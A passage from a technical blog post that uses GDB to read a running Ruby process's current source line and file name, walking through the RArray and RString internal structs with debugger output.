&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_vm_get_sourceline&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;ruby_current_ec-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;cfp&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$12 = 5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hey, that was easy! Line 5 indeed corresponds to the &lt;code&gt;sleep&lt;/code&gt; call so we know we&apos;re at the right place now. But how did &lt;code&gt;rb_vm_get_sourceline&lt;/code&gt; get that from just the control frame pointer? Many of the helper functions that &lt;code&gt;rb_vm_get_sourceline&lt;/code&gt; utilizes are inlined so we can&apos;t easily call them directly in GDB. What it boils down to though is that Ruby will do some pointer math with the current program counter pointer and the pointer to the encoded instruction sequence to calculate a position offset and then read into a bit-vector that represents the specific instruction we&apos;re interested in. The relevant definition of this bit-vector can be &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/iseq.c#L3752&quot;&gt;found in the &lt;code&gt;iseq.c&lt;/code&gt; file&lt;/a&gt;, but a fair warning that it is heavy on the bitwise operations. The short of it is that this function will &lt;a href=&quot;https://github.com/ruby/ruby/blob/master/iseq.c#L2031&quot;&gt;pull out the relevant &lt;code&gt;iseq_insn_info_entry&lt;/code&gt; struct&lt;/a&gt; and then from there it can easily read the &lt;code&gt;line_no&lt;/code&gt; field.&lt;/p&gt;
&lt;h2&gt;Getting a File Name&lt;/h2&gt;
&lt;p&gt;We have a line number now, but that&apos;s only half of the puzzle. In order to make sense of this we also need to know what file that line number refers to. In this case it&apos;s simple because we only have one file, but let&apos;s pretend that we have a bunch of source files and don&apos;t know which one to look at. How do we get the file name?&lt;/p&gt;
&lt;p&gt;If we jump back to the &lt;code&gt;iseq&lt;/code&gt; body print output from above, there&apos;s a &lt;code&gt;pathobj&lt;/code&gt; field inside the &lt;code&gt;location&lt;/code&gt; struct. From &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/vm_core.h#L313&quot;&gt;the definition of this struct&lt;/a&gt; we know that this is either a string or an array with two elements, the relative and absolute path, to the source code file.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;typedef&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; struct&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_iseq_location_struct&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    VALUE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; pathobj&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;      &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;/*&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (path) or Array [path, realpath]. Frozen. &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    VALUE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; base_label&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;   &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;/*&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    VALUE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; label&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;        &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;/*&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    int&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; first_lineno&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    int&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; node_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    rb_code_location_t&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; code_location&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} rb_iseq_location_t;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before we get into what&apos;s inside that pointer we need to take one more detour first and discuss how Ruby represents strings and arrays internally. The strings and arrays in this case are not your run of the mill C strings &amp;#x26; arrays but rather Ruby&apos;s wrappers around them. That is, the internal data structure it uses to store your string when you create one in a Ruby program.&lt;/p&gt;
&lt;p&gt;These are represented in Ruby through the &lt;code&gt;RString&lt;/code&gt; and &lt;code&gt;RArray&lt;/code&gt; structs. The struct definitions of &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/include/ruby/internal/core/rstring.h#L231&quot;&gt;each&lt;/a&gt; of &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/include/ruby/internal/core/rarray.h#L176&quot;&gt;these&lt;/a&gt; are well commented and have some handy info to help understand them better. What we need to know for our purposes here though is two fold:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;RString&lt;/code&gt; and &lt;code&gt;RArray&lt;/code&gt; have optimizations where for small strings/arrays the values of those strings/arrays will be stored in the struct directly rather than using a pointer to a separate block of memory (&lt;code&gt;embed&lt;/code&gt; / &lt;code&gt;ary&lt;/code&gt; below rather than &lt;code&gt;ptr&lt;/code&gt;). As we&apos;ll see further below, the filenames used in this example fall under that size limit. But if you&apos;re replicating this and have a filename of sufficient length the actual content of the string may be in a slightly different location.&lt;/li&gt;
&lt;li&gt;All of Ruby&apos;s internal object representations include a struct called &lt;code&gt;RBasic&lt;/code&gt; which holds information about the class it represents and some flags. In effect, internally Ruby objects look something like the following diagram:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/4e00f94db681aad3cbb42e822ed2e18c/ruby_objects.png&quot; alt=&quot;ruby objects diagram&quot;&gt;&lt;/p&gt;
&lt;p&gt;With that said, let&apos;s just jump into getting the filenames:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Relative path:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (char*)(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; RString&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; RArray&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      ruby_current_ec-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;cfp+1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;.iseq-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;body.location.pathobj&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    )&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;.as.ary[0]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ).as.embed.ary&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$12 = 0x7faedac1cf50 &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;sleep.rb&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Absolute path:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (char*)(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; RString&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; RArray&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      ruby_current_ec-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;cfp+1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;.iseq-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;body.location.pathobj&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    )&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;.as.ary[1]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ).as.embed.ary&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$13 = 0x7faed9f5a0d8 &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;/tmp/sleep.rb&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And there&apos;s our filename! But, whew, that&apos;s quite the reach into a data structure there. Let&apos;s break that down.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First, we get the &lt;code&gt;pathobj&lt;/code&gt; pointer from the &lt;code&gt;iseq&lt;/code&gt; location struct with &lt;code&gt;ruby_current_ec-&gt;cfp+1).iseq-&gt;body.location.pathobj&lt;/code&gt;. This part should be fairly familiar by now.&lt;/li&gt;
&lt;li&gt;Next, we know from the Ruby source comment that this pointer is either an &lt;code&gt;RString&lt;/code&gt; or an &lt;code&gt;RArray&lt;/code&gt; so we need to tell GDB how to interpret the memory it points to. In this case, it&apos;s an &lt;code&gt;RArray&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Then, as mentioned above, the array values are small enough to be embedded in the &lt;code&gt;RArray&lt;/code&gt; struct directly so the &lt;code&gt;as.ary[0]&lt;/code&gt; field is read. This is another pointer; this time to an &lt;code&gt;RString&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Lastly, we again need to cast it to an &lt;code&gt;RString&lt;/code&gt; and then we can read its embedded value, &lt;code&gt;as.embed.ary&lt;/code&gt;. One more cast to a plain &apos;ole &lt;code&gt;char*&lt;/code&gt; gets the final string value of the source&apos;s filename.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before wrapping up, let&apos;s take a quick look at the representation of the &lt;code&gt;RArray&lt;/code&gt; and &lt;code&gt;RString&lt;/code&gt; values to see how they compare to the diagram of these structs from above:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# RArray:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;p/x&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; RArray&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;ruby_current_ec-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;cfp+1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;.iseq-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;body.location.pathobj&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$14 = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  basic&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    flags&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0xa00012807,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    klass&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x7f42be3514b8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  as&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    heap&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      len&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f42bee9ce80,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      aux&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        capa&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f42b9a4a008,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        shared_root&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x7f42b9a4a008&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      ptr&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    ary&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0x7f42bee9ce80&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# RString:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;p/x&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; RString&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)((struct RArray&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)(ruby_current_ec&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;cfp&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).iseq&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;body.location.pathobj).as.ary[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;$15 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  basic = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    flags&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0xa20500805,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    klass&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x7f42be35ed98&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  as&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    heap&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      len&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0xe,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      ptr&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x6c732f656e616873,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      aux&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        capa&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x62722e706565,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        shared&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x62722e706565&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    embed&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      len&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0xe,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      ary&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0x73&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The two structs here are fairly similar with the embedded &lt;code&gt;ary&lt;/code&gt; and &lt;code&gt;embed&lt;/code&gt; fields. If the value is too large for those then the &lt;code&gt;heap&lt;/code&gt; field is used instead. Of course, the values in here are mostly pointers or junk values, but nevertheless it&apos;s an interesting look into the internal data structures that back your strings and arrays when using them in Ruby-land.&lt;/p&gt;
&lt;p&gt;There are endless more rabbit holes to go down for further exploration into Ruby&apos;s internals here, but at this point we&apos;ve accomplished the goal of peering inside of a running Ruby process from GDB to see what it is executing which makes for a good stopping point. This is barely scratching the surface of how Ruby executes your code. If this topic is interesting and you&apos;re looking for further reading, Pat Shaughnessy&apos;s book &lt;a href=&quot;https://patshaughnessy.net/ruby-under-a-microscope&quot;&gt;&lt;em&gt;Ruby Under a Microscope&lt;/em&gt;&lt;/a&gt; does an excellent job of covering all of the nitty gritty details on Ruby&apos;s implementation. It targets Ruby 1.9 &amp;#x26; 2.0 which are fairly dated now, but the core concepts remain the same making it definitely still worth the read.&lt;/p&gt;
&lt;hr&gt;
